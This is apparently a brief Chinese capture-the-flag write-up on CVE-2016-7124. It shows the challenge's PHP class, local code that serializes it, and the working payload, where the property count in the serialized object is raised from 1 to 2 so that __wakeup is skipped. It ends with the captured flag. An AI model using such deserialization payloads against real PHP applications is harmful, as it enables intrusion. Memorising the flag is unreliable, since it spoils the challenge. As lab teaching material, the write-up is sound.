漏洞编号CVE-2016-7124
详情 https://xz.aliyun.com/t/378
题目源码
class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code=
我们要绕过__wakeup这个魔术函数,不然会被exit掉,
这里利用反序列化漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
我们在本地搭环境获得序列化的值
<?php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } $x=new xctf(); echo serialize($x); ?>
获取的序列化值
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
修改成O:4:"xctf":2:{s:4:"flag";s:3:"111";},并传入参数?code=
cyberpeace{8ed1143510277053b91993bc5d9b8e01}